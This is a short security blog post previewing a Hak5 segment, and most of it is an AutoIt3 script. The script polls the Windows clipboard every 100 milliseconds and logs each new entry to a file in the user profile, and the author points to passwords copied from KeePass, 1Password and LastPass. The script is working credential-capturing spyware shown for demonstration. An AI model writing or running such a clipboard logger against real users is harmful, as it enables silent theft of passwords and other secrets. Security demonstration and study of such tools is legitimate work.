Room362.com

Blatherings of a security addict.

Hak5 Segment Sneak Peak

| Comments

Since it’s Christmas and all, I thought I’d post the code snippet from my Hak5 segment a bit early:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <Clipboard.au3>
#include <File.au3>
$oldclip = ""
While 1
    $clip = _ClipBoard_GetData()
    If $clip <> "0" Then
        If $clip <> $oldclip Then
            _FileWriteLog(@UserProfileDir & "clip.log", $clip)
            $oldclip = $clip
        EndIf
    EndIf
    Sleep(100)
WEnd

It’s pretty straight forward, and I welcome everyone to install AutoIt3 and compile/run the above script to see what it does (although most of you I’m sure can figure it out just by reading it).

(Think KeePass, 1Password, LastPass…)

Comments